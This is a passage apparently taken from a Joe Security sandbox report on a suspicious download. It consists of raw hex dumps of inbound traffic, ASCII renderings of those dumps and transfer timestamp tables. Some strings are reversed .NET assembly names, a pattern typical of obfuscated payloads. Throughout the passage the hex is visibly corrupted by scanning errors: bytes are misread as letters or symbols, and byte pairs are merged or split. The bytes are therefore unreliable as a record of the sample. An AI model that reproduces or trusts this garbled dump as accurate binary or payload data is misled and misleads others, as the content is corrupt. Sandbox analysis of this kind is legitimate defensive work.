Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: e1 87 89 cc 06 61 33 61 30 35 64 31 31 66 37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50
202c 6¢c 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2c 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 67 6e 69
776172 44 2e 6d 65 74 73 79 53 20 2c 65 7a 69 53 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 66 39 38 30 65 34 33
39 31 36 35 63 35 61 37 37 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6€ 3d 65 72 75 74 6
€ 75 43 20 2c 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 62 69 6¢ 72 6f 63 73 6d 20 2c 6f 66 6e 49 65 72 75 74
6¢ 75 43 2e 6e 6f 69 74 61 7a 69 6¢ 61 62 6f 6¢ 47 2e 6d 65 74 73 79 53 6d 39 38 30 65 34 33 39 31 36 35 63 35 61 37
37 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2¢ 6¢ 61 72 74

Data Ascii: a3a05d11f7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,gniwarD.metsyS ,eziS.gniwarD.me
tsySf980e439165c5a77b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,bilrocsm ,ofnlerutluC.noitazilabolG.me
tsySm980e439165c5a77b=nekoTyeKcilbuP lart

Data Raw: 44 5e b9 4b 08 25 58 df ae Oe 64 73 e3 ca cc 98 b8 1a 00 c7 21 2e d6 23 Oc 07 7f 88 61 48 c6 44 71 ce 3b 18
Oe c3 41 bb 3d 9b 27 a9 92 5f ee d7 28 01 20 5d db 83 41 bb 31 99 00 6a 8a 48 9b 88 bl bc 77 5b 74 9d Ob 7a 37 15 4c
d1 7197 48 e0 7e 42 58 dc 85 68 12 9b 86 ee 38 8f 08 38 30 ¢7 b1 55 1d 14 a0 69 0f 09 a0 d2 13 71 dc ee d2 91 74 bc
d9 f2 6a be 8e 96 59 33 ed 38 3c 76 5f a8 b8 Ob ca 5e 5f 1a e8 2c 6a 74 3f bf ac d6 bb 77 7d cb 66 47 7d 52 d4 37 7f 96
2c 39 cb ff d4 19 65 07 16 5e 4a df 74 09 40 d9 fd 6¢ d4 b3 f3 76 79 c4 38 f6 0d af el 94 97 66 26 7b 99 5e 27 92 52 07
bc ef b9 2d 3d b6 1c 38 10 3a 55 7e b5 2d 97 93 d7 98 f1 42 b0 65 00 26 c7 f2 05 ba 96 b5 a0 fb 43 17 57 6e 7b 7b 93 97
44 60 8a ch 46 bb 39 9f 04 2f 14 f7 76 a5 c¢7 78 3f ca 43 98 77

Data Ascii: D"K%Xds!.#aHDq;A="_( JA1jHwW[tz7LqH~BXh880UiqtjY38<v_"_jt?w}fG}R7,9e"It@Ivy8f&{"'R-=8:U~-
Be&CWn{{D F9/vx?Cw

Data Raw: d4 45 9b 46 f0O fb 00 9b ¢9 dO a3 1c 0f a9 ee be 92 5a 2f 07 cO 84 b7 47 82 f8 7d 01 aa 35 88 70 00 e3 e7 6¢ b6
ea 4f b2 06 ca 01 f1 c6 58 ad fa el 7f al c5 bb 73 39 25 1c 89 64 ff b7 10 54 16 59 a2 8d 9c 34 94 e3 12 96 f3 a4 23 36 8e
29 24 b9 86 89 92 4b 50 b9 f3 67 59 70 1f 9f df 1f 37 95 c6 49 97 e5 fe 81 7d cd 9e aa 40 50 c9 31 c8 df e6 27 Oc c2 7a 78
f0 92 4a ef 78 29 9b 4b af 16 €6 3e 9e ca 17 51 74 c0 2a e8 a5 6f 94 e6 aa da 14 lafd fe a5 ec 1a f8 b1 96 31 98 72 60
2a 98 0a b3 2b el 48 e5 7f a3 7a e0 ee 63 2d ec a0 08 cb 3d 59 3d aa 93 ee f5 fc e4 85 ce aa 1d 7f f0 7f 87 86 c1 c1 ab
5a 9f 41 06 d8 7b ad d8 e9 1f f5 bc ef 25 2b e4 ea 54 91 86 9 45 d4 45 e8 87 17 8b 34 c5 18 1b b5 59 ae 78 41 3 24 1f
52 fa 3c 28 65 6b b5 25 11 38 3f 05 e6 64 01 39

Data Ascii: EFZ/G}5plOXs9%dTY4#6)$KPgYp7I}@P1'zxJIX)K>Qt*0lr *+Hzc-=Y=ZA{%+TEE4YXA$R<(ek%8?d9

Data Raw: fa 02 94 af e4 e7 27 29 01 21 bd de fd 4c 63 e4 bd aa 31 cc 6f d6 3e 1c cd 07 4c 14 48 97 02 52 92 8e a2 7f
ee 3b 74 ¢9 c0 27 {7 20 dc 73 b9 5a ff 04 db 51 e3 b8 93 fb a6 81 b0 21 63 19 c6 52 98 58 Oa bf bl ec 49 2a 6f 3b e3 ad
b6 a6 a0 9c c3 al d2 30 02 16 83 a7 d6 cb f0 10 24 11 c¢7 2d 36 d1 13 e7 d9 8d 21 f7 60 ab 86 e6 f9 2a 84 84 29 76 Of b1
39 38 e4 57 d6 7a ff dO 23 2e 9f 26 ef Of 8c a8 c5 1c 9c aa 8¢ 3c 39 a8 51 43 61 9d 91 a6 bl 42 8f Oe 14 6a f5 20 7e dd d5
57 20 3f 03 ea 56 a6 22 28 6b 5d bc ba 64 90 7e 31 76 49 64 e7 43 9e 79 4a 02 04 54 7f ae 39 36 €0 41 06 57 7d 5f 59 cO
8d 91 39 c2 4c 20 8d e2 7d fO ea 05 55 e2 43 cb 83 9b d1 1f ch 80 2e 9a d7 d1 78 79 36 64 cb 5b 9f 5b ae 4f 05 40 5f 2a
8c 99 24 31 4e dd 2a ea b2 ac 61 al 2a b6 a3 da 57 a9

Data Ascii: ')!ILc1o>LHR;t' sZQ!cRXI*0;0$-6!*)vO8Wz#.&<9QCaBj ~W ?V"(K]d~1vIdCyJT96AW}_YIL }UC.xy6d[
[O@_*$1N*a*W

Data Raw: 88 ch 38 3c 03 98 31 89 43 e2 ef f5 19 5f 22 57 b8 d3 31 56 f5 10 98 56 97 c4 67 a3 61 a4 b3 84 b6 01 4d 7c
6a c0 b9 84 7f 9b c4 5e 00 b0 f1 8¢ 9c f9 56 b0 Oe 78 29 ef c6 3b ce 5d b7 2b 1f f8 40 62 7f ef 9c 59 f1 bc 4b 49 70 e4 86
4e 1la 23 b0 e9 a9 dc 0d 7f cc 33 4a a7 f9 7b 19 al 11 57 82 cb 29 85 0d a5 6e 44 a7 96 ab 95 72 22 03 14 5a 72 6e b7
93 05 5f d4 76 dd 32 48 3d al 54 22 d8 7a 5a 40 5a f8 al d2 32 e7 f3 3d cf 98 €9 1b 5 4d d9 c4 00 c6 10 5¢c 73 87 41 25
97 8f 25 3e 78 c8 b5 45 97 94 45 d4 26 86 3a 33 18 25 bd fd 70 28 82 31 ee a6 67 77 bd 1f 15 49 d1 5b e8 eb ec 54 84 b8
8396 7e b0 4a 71 95 25 15 8b c5 Oe fc d2 02 d5 27 ae 0d 35 1f 30 48 5e c2 2e 93 e8 0f 76 38 f3 09 10 7b 16 30 79 cd b9
4223 2b 97 €6 11 8¢ 28 8e e9 fa b0 53 74 84 7 a7 fa bd

Data Ascii: 8<1C_"W1VVgaM|j*Vx);]+@bYKIpN#3J{W)nDr"Zrn_v2H=T"2Z@Z2=M\sA%%>XEE&:3%p(1gwI[T~
Jq%'50H".v8{0yB#+(St

Data Raw: b7 da 11 e3 e4 53 5d 17 85 50 05 d5 10 6e fd 4b db bd 47 99 f4 6f 7f 3f 60 1c db f3 51 a4 65 9a 5b 43 {7 25 fc
63 34 4e ed ba f4 28 5f a9 32 60 68 e7 14 3a ba b0 e5 1c a0 fe 10 cb 5¢ 57 cd b8 90 65 38 30 d1 66 b3 39 b2 c1 47 dd f3
01 bb 2b 00 al ac 63 5e dd 35 52 03 5f 91 da e9 6b 6a 6e 31 7b 78 03 8e 6¢ 48 30 2b d1 2d b5 79 5d 7d da ab d5 ca 98
b2 66 08 1d 59 66 a9 b9 e5 5e 1f 9b 47 f9 a8 3d 83 e2 85 55 aa d2 93 dO 4c 23 e5 f5 al 94 6¢ d2 24 a5 2b 1c 7a 9c 79 fO
290 67 a4 a4 3d b7 48 e3 e8 ef e7 5e 94 54 7d 8f 86 9e 5¢ 30 da de 13 89 72 96 bd e3 39 4c ¢5 89 71 46 5 16 dc a3 e0
ef 6d 67 95 20 b5 f0 21 28 87 9a 4a 15 c2 33 7b 85 c6 bf 66 64 85 37 31 ¢8 2c 6e 25 f3 b7 5a 67 de 7f fa fc ed 2b Oc d2 bf
64 dd 3a fe 8f 91 c4 93 df c4 5a 1d 83 d8 Oe ac 3 46

Data Ascii: S|[PnKG0? Qe[C%c4N(_2"h:\We80faG+c 5R_Kjn1{xIHO+-y[}fY A G=UL#I$+zy)g=H TNOr9LqFmg !(I3{f
d71,n%Zg+d:ZF
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:15 UTC 2464 IN
2022-05-02 11:03:15 UTC 2466 IN
2022-05-02 11:03:15 UTC 2467 IN
2022-05-02 11:03:15 UTC 2468 IN
2022-05-02 11:03:15 UTC 2470 IN
2022-05-02 11:03:15 UTC 2471 IN
2022-05-02 11:03:15 UTC 2472 IN
2022-05-02 11:03:15 UTC 2474 IN
2022-05-02 11:03:15 UTC 2475 IN

Copyright Joe Security LLC 2022

Data

Data Raw: f2 e3 99 4f 48 4a e6 d0 21 75 ba f3 ca 47 36 b9 f4 4c a7 3ff6 cbh 12 4a c2 2d a7 da 18 5d dc 76 b3 ba c9 08 3b
20 b0 f3 Oe 56 fO c5 82 46 11 aa 69 99 92 cf d7 b9 18 f9 b4 9b 6e 2e 29 Oe 86 74 46 7a 5f ad 05 4c fd 34 81 85 31 ba b5
1f da 5d 01 84 a9 c0 92 01 f5 65 34 12 c9 84 dc fa 1b 59 Oa fc 9f d2 c1 08 4c 29 be f8 fa 49 5d f8 59 0d 1d 96 5f bc 9f d3
5b 82 de cb 37 Oe 1e 78 e2 f4 e4 97 3a d3 8f e5 d4 92 74 6d 31 15 fe f7 65 0d db f2 66 aa af 5¢ b1 77 b9 9e 43 7b Ob 93
06 9a dd 34 22 9d 19 fa 37 f6 bc ba c0 04 2f 25 7e 99 71 a0 Of bb c0 ca 99 05 e0 cf 47 44 d5 40 5c¢ 69 1d 04 bf 89 98 4d
153 00 13 2c ce ce f0 cb d9 e9 49 62 5d 9c 37 36 32 56 4d Oe cd c7 Oc 52 3d d6 8b 54 c5 3e Oe df 8b ba ad 9a c4 59 7e
87 76 cf 8a 99 42 b4 51 12 29 9¢ d1 ba 02 51 c3 8b

Data Ascii: OHJIUG6L?J-]v; VFin.)tFz_L41]edYL)I]Y_[7x:tmlef\wC{4"7/%~qGD@\iM,Ib]762VMR=T>Y~vBQ)Q

Data Raw: fe 1e 57 7f 64 d6 23 fb 9d 44 06 55 54 7a 5c f2 8c af ac 12 b4 ea be ec c6 0f c9 ce d5 2f bc 9d aa 1d 07 ff bc 5¢
d7 eb 78 Oe 9a f0 33 13 €3 74 a0 32 34 5a 25 7b ce 85 a5 45 13 dd 9d Oe af d0 87 be 52 32 f5 17 24 95 66 dc 7e bc ec 13
cc b8 66 1le 1b 67 ef cf 7e fa 5d b4 ea 5e Oe dd 4b 15 0d Oe e2 41 73 82 a6 94 60 b5 7a 81 7f 16 c¢5 12 9a 83 d7 e3 ec 5e
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82 0e 7b 98 7¢ 13 22 6b ad 35 fe 91 cc ¢5 36 cc b4 d1 c¢7 12 bf be ac 34 d0 59 fc 7f b0 74 be 46 82 ad c9 fd 12 8c 0d 89
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Oe 20 aa af ae 66 fe dO 7c 42 a0 8a af 57 5f 95 b8 ec c4 22 e8 2e 60 00 e5 16 f4 12 1d fc db da 9e 4e 21 33 2a 61 13 50
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2a dd 8d 1b b4 17 77 a7 62 b2 3 a3 bb fe d7 65 4f 49 82 26 70 1e be cf 41 26 ca 97 05 d5 23 9b 37 20 ca 68 db 45 3f 85
2f a4 a0 34 5b 01 13 75 37 14 8e ce 90 fa 24 67 c4 f1 53 b4 c5 f6 aa 53 73 99 57 a6 0a 72 db e3 €9 21 4f 20 f8 5e 85 9of
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2022-05-02 11:03:15 UTC 2490 IN
2022-05-02 11:03:15 UTC 2491 IN
2022-05-02 11:03:15 UTC 2492 IN
2022-05-02 11:03:15 UTC 2494 IN
2022-05-02 11:03:15 UTC 2495 IN
2022-05-02 11:03:15 UTC 2496 IN
2022-05-02 11:03:15 UTC 2498 IN
2022-05-02 11:03:15 UTC 2499 IN
2022-05-02 11:03:15 UTC 2500 IN

Copyright Joe Security LLC 2022

Data

Data Raw: db 98 98 44 4f 64 c1 71 ad f5 3b 1c 49 a5 3a 96 4b c5 c4 a3 43 bf ca b2 90 8d b2 f1 36 32 ac 75 2e 52 0a 22
8255 1b 32 48 6b e8 14 ec 5f 30 86 e7 00 df 3f a4 45 29 df c7 2d e9 dd el e7 81 fc 22 d6 df da ac f8 09 ea 30 2e b2 54 cf
Oe f6 bf 42 e7 03 e6 fO d8 8c d7 cd Of 9f 79 71 11 af 6b al 2c 1a 74 e9 5e 53 31 9d 4e c6 46 6d 2f db f6 33 be 4c 58 e2 64
76 a6 0a 9a af 34 b6 97 a9 bb cc e5 90 d6 64 9f 0d 82 f0 cf 6a 93 fO 2e a7 5¢ 32 d2 el f8 59 1e 43 8a 79 77 4f f5 df 6f 3f
a3 36 97 96 d2 27 de f8 7f 1f d3 1e 8¢ a3 73 52 60 9e 3d ec 32 48 bd b7 cd Oc 26 17 25 32 36 98 7a 22 73 9d ca e0 46 9f
e7 56 63 56 63 8556 5b e4 31 €8 35 fb 90 81 7d Ob 51 1e d5 a3 17 7f 82 66 52 58 6d fO fe 4b c1 36 b5 51 37 54 e7 3e 48
82 71 b7 f2 64 Oc 36 8f 95 99 21 €9 09 81 a4 00

Data Ascii: DOdq;1:KC62u.R"U2Hk_07?E)-"0.TByqgk,t"SINFm/3LXdv4dj.\2Y CywO0?6'sR ' =2H&%26z"sFVcVcV[15}QfR
XmK6Q7T>Hqd6!

Data Raw: c5 9f e0 70 cd c8 fb 6e 4e 48 93 24 3c 65 4b ce f8 32 36 a9 b9 d2 fd 48 al c6 3a a7 01 6a 60 53 98 ee 4a 2c
27 5e 09 85 25 0a 99 47 3d 9a 6a df 12 2e 3b 7e e5 64 02 71 3e 53 ¢7 6a 87 a5 35 5f 02 0a 53 50 30 f6 61 9b 77 d4 fb 3a
0a 7b 35 87 16 9f 8f 8b ae 36 4e dc fb 13 9a 45 f4 bc e4 52 26 56 41 7d 30 33 99 94 2a 17 aa f8 23 a5 80 48 cc 17 30 d5
f9 c1 36 ce c5 11 6e 49 05 1b a2 c1 00 11 b0 b6 e3 b3 68 e4 93 84 c0 0a 98 96 35 7d €0 8b af 39 54 10 e0 al 4d e7 04 {7
ed e9 a7 5e af a5 b8 9d 7d 90 8d 2b da e0 a2 40 a2 47 d8 b7 c6 14 20 6d 9f cc bf ec 39 2f 6b fc 81 75 d2 97 f6 d5 70 19
1512 63 28 09 12 b3 aa 87 c7 e4 6e 0a 16 20 dc 99 41 dd 5f 5b 74 c6 48 09 42 db ¢3 99 cf f1 a1l 6d 57 d3 08 cd 96 b7 43
6d f8 81 f4 82 6d 11 62 f3 e3 ef 1d 59 91 2a 12 73 eb el

Data Ascii: pnNH$<eK26H:j"SJ,""%G=j.;~dg>Sj5_SP0aw:{56NER&VA}03*#H06nIh5}9TM" }+@G m9/kupc(n A_[tHBmW
CmmbY*s

Data Raw: 40 80 a0 ac 49 40 80 a0 89 ab 92 0f d4 e3 e8 bc 88 37 12 d6 f5 a2 83 88 40 80 a0 ac 49 40 80 a0 9d ab 92 1a
a8 bf 8a 93 88 77 77 15 84 be 94 8a 88 40 80 a0 ac 49 40 80 a0 9a ab 92 14 8f cd c2 aa 88 37 08 04 88 1e fb 84 e2 8c 88
40 80 a0 ac 49 40 80 9f 94 ab 92 1b a2 bf a9 b0 88 92 06 ea 81 fe ac 88 92 1e ef b8 c5 bc 88 03 a7 86 92 a0 88 40 80 a0
ac 49 40 80 9f 9f ab 92 Ob c4 b2 8f 9c 88 08 06 88 34 58 dd e8 8f 88 1f a5 ec e2 be 88 40 80 a0 ac 49 40 80 9f a0 ab 92
Oe c9 84 d3 9f 88 37 11 b6 fb ac al 88 40 80 a0 ac 49 40 80 a0 8c ab 92 17 dd ab e6 9d 88 92 10 b7 95 c5 be 88 Oc d3
d2 b1 8e 88 40 80 a0 ac 49 40 80 a0 a0 ab 92 17 f1 9b 3 bb 88 92 07 bc e2 a9 b8 88 77 0f b2 86 a5 bc 88 40 80 a0 ac 49
40 80 9f 89 ab 92 18 fc 8¢ fd 8e 88 1c 02 88 1f d2 cb f8 ad

Data Ascii: @I@7@1@wWwWRIQ7RIQQAIA4XAIQ7RIQA@IOWAI@

Data Raw: ff ¢5 f6 88 37 10 d4 bd e8 8b 88 40 80 a0 ac 49 40 80 9f 8d ab 92 1f e2 8d da 86 88 1c 03 88 1e 90 ed d0 bl
8840 80 a0 ac 49 40 80 9f b1 ab 92 18 al ed 87 b0 88 37 Ob 05 d8 d2 89 ad 88 06 c8 b3 df b9 88 40 80 a0 ac 49 40 80
a0 8b ab 92 1f a6 b4 94 b6 88 1c 04 88 08 05 88 0d d3 9a 8a 9b 88 40 80 a0 ac 49 40 80 a0 98 ab 92 13 c4 fd ce 83 88
Ob 10 83 8a 84 99 88 Ob 1a 87 c4 8e b1 88 0f 85 ee ab 93 88 40 80 a0 ac 49 40 80 9f 91 ab 92 0b f3 82 cf 9c 88 Ob Ob aa
c8 88 83 88 37 1c dd db fb 9d 88 40 80 a0 ac 49 40 80 9f b9 ab 92 5d b8 b3 ad 88 1c 01 88 77 1e c5 8f 98 a4 88 40 80 a0
ac 49 40 80 a0 ad ab 92 10 ac 80 97 a0 88 08 01 88 Of a2 e2 8c 9d 88 40 80 a0 ac 49 40 80 a0 b1 ab 92 1b ba be cd 99 8
8 0b 10 83 8a 84 99 88 Ob 1a 87 c4 8e b1 88 0f 85 ee ab 93 838 40

Data Ascii: 7@1Q@Q@1Q7QIQQIQQAIQ7TAIQIWRIRAIQQ@

Data Raw: Of 24 88 10 Ob 01 aa 88 01 95 88 0d 88 02 1d 1d 8e Of 1c 88 0d 48 Ob 1f 88 3b 88 1d 8d Of 00 48 04 87 88 10
07 1d 0d 88 02 1d 1d 8e Of Oe 88 7d 1d 8e 47 60 80 bl 9e 69 Oc 88 07 48 34 01 8f 88 03 af 88 1d 8e 0f 05 82 88 7d 1d 8e
97 60 80 b1 9f 69 01 94 88 02 48 10 80 80 a3 5e 10 88 1d 8e Of 03 84 88 0d 48 Ob 01 80 88 01 9f 88 1d 8e Of 04 93 88 10
3434 88 02 9c 88 0a 88 01 1d 1d 8e Of 16 88 7d 1d 8e 47 60 80 b1 9f 69 02 bb 88 10 07 1d 0b 88 02 1d 1d 8e Of 04 82
88 0d 48 0b 11 88 02 8d 88 1d 8e 0f 01 ba 88 7d 1d 8e 97 60 80 b1 9e 69 03 8f 88 10 34 01 88 88 03 98 88 Oe 88 02 1d
1d 8e Of 37 88 07 48 34 01 a5 88 03 8d 88 1d 8e 0f 05 85 88 10 0d 1d 19 88 01 1d 1d 8e 0f 04 88 88 10 07 1d 03 88 02 1
d 1d 8e 0f 27 88 7d 1d 8e 97 60 80 b1 9f 69 10 88 10 34 3d 88 02

Data Ascii: $H;H}G IHA} IHAHA4}G iH} i47HA} i4=

Data Raw: 88 03 b3 88 1d 8e 0f 03 ad 88 10 0d 1d 11 88 01 1d 1d 8d Of 00 48 04 9f 88 10 07 1d 02 88 02 1d 1d 8e Of 02
b0 88 10 Ob 01 90 88 01 a5 88 00 88 01 1d 1d 8e Of 03 a5 88 10 34 01 88 88 03 98 88 17 88 01 1d 1d 8e 0f 02 b8 88 7d
1d 8e 47 60 80 b1 9f 69 03 a4 88 10 34 08 88 08 88 10 88 01 1d 1d 8e 0f 02 83 88 10 Ob 38 88 34 88 0f 88 02 1d 1d 8e Of
04 bf 88 7d 1d 8e 97 60 80 b1 9f 69 02 85 88 10 07 1d 06 88 02 1d 1d 8e Of 2a 88 40 80 9c a8 32 01 90 88 1d 8e Of 02 84
88 0d 48 0b 01 96 88 2c 88 1d 8e 0f 03 ab 88 7d 1d 8e 97 60 80 b1 9f 69 02 8b 88 10 0d 1d 05 88 01 1d 1d 8e Of 05 94 88
10 0b 01 9f 88 01 aa 88 05 88 01 1d 1d 8e Of 02 87 88 10 34 01 91 88 03 b4 88 01 88 01 1d 1d 8e Of 01 9f 88 7d 1d 8e 97
60 80 b1 9f 69 01 95 88 10 7f 00 88 05 1d 01 88 Ob 1d 1d 8e

Data Ascii: H4}G 1484} i*@2H,} i} i

Data Raw: 80 b1 9e 69 05 88 10 07 1d 07 88 02 1d 1d 8e Of 05 9e 88 10 Ob 01 86 88 02 95 88 08 88 02 1d 1d 8e Of 1d 88
7d 1d 8e 97 60 80 bl 9f 69 Ob 88 07 48 34 2b 88 02 81 88 1d 8e Of 04 94 88 7d 1d 8e 97 60 80 bl 9f 69 04 82 88 10 Ob
01 9d 88 01 b1 88 17 88 01 1d 1d 8d Of 00 48 05 88 88 10 07 1d 08 88 02 1d 1d 8e Of 02 9a 88 10 Ob Od 88 38 88 Of 88
01 1d 1d 8e 0f 04 8d 88 7d 1d 8e 97 60 80 b1 9e 69 05 8c 88 10 Ob 01 9c 88 01 99 88 07 88 01 1d 1d 8e Of 15 88 10 07 1
d 06 88 02 1d 1d 8e Of 3b 88 0d 48 0b 01 95 88 01 9d 88 1d 8d Of 00 48 04 ae 88 10 2b 92 7f 04 1d Ob 1d 7f 04 1d 03 1d
04 1d 03 1d 1d 8d 0f 00 48 05 93 88 08 48 60 80 b1 96 69 Ob 1d 03 1d 60 80 b1 95 69 01 88 ad 60 80 b1 94 69 1d 8d Of
00 48 04 81 88 07 48 Ob 10 88 02 a2 88 1d 8d Of 00 48 02 b5 88 07 48

Data Raw: 02 87 88 1d 8e 0f 01 a7 88 10 Ob 01 83 88 01 83 88 03 88 01 1d 1d 8e 0f 01 b1 88 7d 1d 8e 97 60 80 b1 9f 69
0e 88 0d 48 34 2d 88 02 88 88 1d 8d Of 00 48 04 b6 88 10 0d 1d 1a 88 01 1d 1d 8e Of 2d 88 7d 1d 8e 47 60 80 b1 9f 69
05 9d 88 10 07 1d 04 88 02 1d 1d 8e Of 04 a5 88 7d 1d 8e 47 60 80 b1 9e 69 02 b5 88 10 0d 1d 08 88 01 1d 1d 8d Of 00
48 05 95 88 10 0b 2d 88 02 a8 88 Oe 88 02 1d 1d 8e Of 04 89 88 3b b4 97 60 80 b1 9d 69 55 60 80 b1 9c 69 40 80 I¢ a3 4
9 1d 8e 0f 12 88 7d 1d 8e 97 60 80 b1 9e 69 01 b0 88 10 Ob 01 8 88 15 88 00 88 01 1d 1d 8e 0f 01 b7 88 10 34 01 92 88
03 b7 88 18 88 01 1d 1d 8e Of 02 94 88 0d 48 34 35 88 02 92 88 1d 8e Of 03 af 88 7d 1d 8e 47 60 80 b1 9f 69 04 98 88 07
48 0b 01 ab 88 Ob 88 1d 8e 0f 02 b8 88 7d 1d 8e 47 60 80 bl 9e 69

Data Ascii: }'iH4-HG i}G iH-; iU i@} i4H45)G iH)G i

Data Raw: 3d 88 02 b8 88 0d 88 01 1d 1d 8e Of 10 88 7d 1d 8e 97 60 80 b1 9e 69 01 8d 88 10 0d 1d 11 88 01 1d 1d 8e Of
02 al 88 7d 1d 8e 47 60 80 bl 9e 69 01 80 88 10 0d 1d 02 88 01 1d 1d 8e Of 01 82 88 10 Ob 01 a2 88 14 88 06 88 01 1d
1d 8e 0f 02 a5 88 7d 1d 8e 47 60 80 b1 9e 69 3f 88 0d 48 34 01 92 88 03 b6 88 1d 8e Of 13 88 0d 48 34 01 94 88 03 bc
88 1d 8e Of 05 96 88 10 Ob 01 a4 88 01 95 88 09 88 01 1d 1d 8e Of 01 87 88 10 Ob 2a 88 02 a3 88 1f 88 01 1d 1d 8e Of 03
88 88 10 0d 1d 15 88 01 1d 1d 8e Of 02 88 88 07 48 34 2a 88 01 be 88 1d 8e 0f 01 b9 88 7d 1d 8e 47 60 80 bl 9f 69 04 9
¢ 8810 34 3b 88 02 bl 88 1c 88 01 1d 1d 8e Of 03 99 88 07 48 Ob 01 ad 88 01 a9 88 1d 8e Of 02 a6 88 07 48 34 2c 88 02
86 88 1d 8dl Of 00 48 05 80 88 0d 48 Ob 01 a3 88 2f 88 1d 8d Of 00

Data Ascii: =} i}G i}G i?H4HA*HA4*)G i4;HHA4, HH/

Data Raw: 01 a0 80 80 a3 69 20 80 86 81 19 1d 87 47 11 1d 1c bc 57 7d 1c bc 57 01 a0 80 8e 8¢ 62 17 1d 1c b9 47 17 1d
a3 1c b4 57 11 48 01 88 7d 1c b4 57 11 48 9d 00 88 01 a0 80 8e a6 62 22 1d 10 1d 01 a0 80 83 ab 62 Of 1d 40 80 9c 8c
49 01 a0 80 8a 9c 69 22 1d 22 48 01 a0 80 8e 8b 62 1f 1d 17 1d 01 a0 80 81 a7 62 20 1d 18 1d 7d 01 a0 80 8e a5 62 00
88 00 88 10 80 80 a3 5e 00 88 0f 1d 1a bf a0 1c 1d 23 1d 23 48 Ob 01 88 23 1d 1b 95 18 00 88 24 1d 24 48 34 27 1d 24 1
d 60 80 b0 a5 69 19 1d 27 1d 18 1d Of 1d 27 48 15 01 a0 80 8e a4 69 36 24 1d 34 26 1d 20 1d 1c 8f 0f 60 80 b0 a5 69 19
1d 24 1d 18 1d 0f 1d 1b bb a0 21 1d 26 1d 1c 8c 0f 01 a0 80 81 a7 62 Ob 36 28 1d 01 a0 80 8e a3 62 ad 18 1d 24 48 34
28 1d 24 1d 1c 8f 53 24 1d 28 1d 28 48 15 34 26 1d 21 1d 1b b2 1f 21

Data Ascii: i GW}WbGWH}WHb"b@Ii"'Hbb o H#H#$SHA'S i"Hi6$4& "i$!&b6(DSHA($SSH((HA&!
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Timestamp transferred Direction
2022-05-02 11:03:15 UTC 2504 IN
2022-05-02 11:03:15 UTC 2509 IN
2022-05-02 11:03:15 UTC 2511 IN
2022-05-02 11:03:15 UTC 2515 IN
2022-05-02 11:03:15 UTC 2519 IN
2022-05-02 11:03:15 UTC 2523 IN
2022-05-02 11:03:15 UTC 2527 IN
2022-05-02 11:03:15 UTC 2532 IN
2022-05-02 11:03:15 UTC 2536 IN

Copyright Joe Security LLC 2022

Data

Data Raw: b0 37 d6 ae 16 43 80 a8 4d e3 dc 15 fe ef 49 29 b8 3f 1a 10 97 26 16 03 c8 83 c2 38 ef 97 8f 24 1b eb eb 6 90
2b 1d 4e 2c ba 77 Ob e8 44 a6 b4 9a ab d3 e4 60 25 b2 60 19 5d 22 27 fa 98 e2 c8 af fd 39 87 89 fc c9 9d e5 07 d1 6d 93
2529 7b b5 14 7a f1 €3 d6 94 4f 55 ac 13 65 24 dc 44 dd 50 bd c8 ae 7c bl 6¢ 17 b4 16 ad 31 9f d7 5e 5f 11 d9 5b fb 8 9f
33 86 b3 3e b0 6e 53 5f 47 4b 23 4c 6¢ 05 eb eb 6 fc 6e d5 d2 63 61 Oa e7 6a eb eb 6 a9 Oc e8 c4 2f af cb 54 78 aa eb
eb f6 b9 6d 15 af 2f d7 9a b0 7b 9a 6a 15 12 77 f1 d8 17 99 ab ca 5c¢ d1 58 1d b3 91 55 00 92 fc e7 97 c0 76 05 34 61 53
el a5 45 19 0a 24 e0 0f Ob 1d 2b 2a 5d f8 89 18 58 ad 7d 53 05 da b6 59 4b 39 8f 12 78 ab 06 5a 3b 2e 4a ac el Ob df 08
bd 01 34 12 8d ed c5 99 87 3a 5a 9e 42 59 b9 1d 1a

Data Ascii: 7CMI)?&8%+N,wD % ]"9m%){zOUe$DP|I1"_[3>nS_GK#LIncaj/Txm/{jw\XUv4aSE$+*|X}SYK9IXZ;.J4:ZBY

Data Raw: b0 4f 1f al 35 ee 6a d1 ee 71 26 f3 44 39 4b c4 3c ca a6 eb eb e6 bb 45 07 6e 9b b5 c4 98 a0 20 a8 Oa 06 ae
eb eb e6 81 38 e3 69 86 8f d2 3f a3 39 41 e3 af 91 eb eb e6 90 82 6d 2f 7c 15 2e 3f ec 98 68 Ob e5 43 86 98 ef 88 eb eb
€963 33 0c 59 bl 1b 56 d9 3b a5 71 d5 Oe 57 a9 c6 09 fb f9 5a eb eb €9 56 a3 62 17 ec 91 74 04 59 42 d4 96 aa 71 7fe4
ec eb eb e9 57 ba f6 b0 df Oe eb 9c 00 ed 5d 95 ac 20 eb eb €9 23 a8 30 cb 49 c0 b6 2d f0 fd b0 9b a7 ae 26 2e 39 eb eb
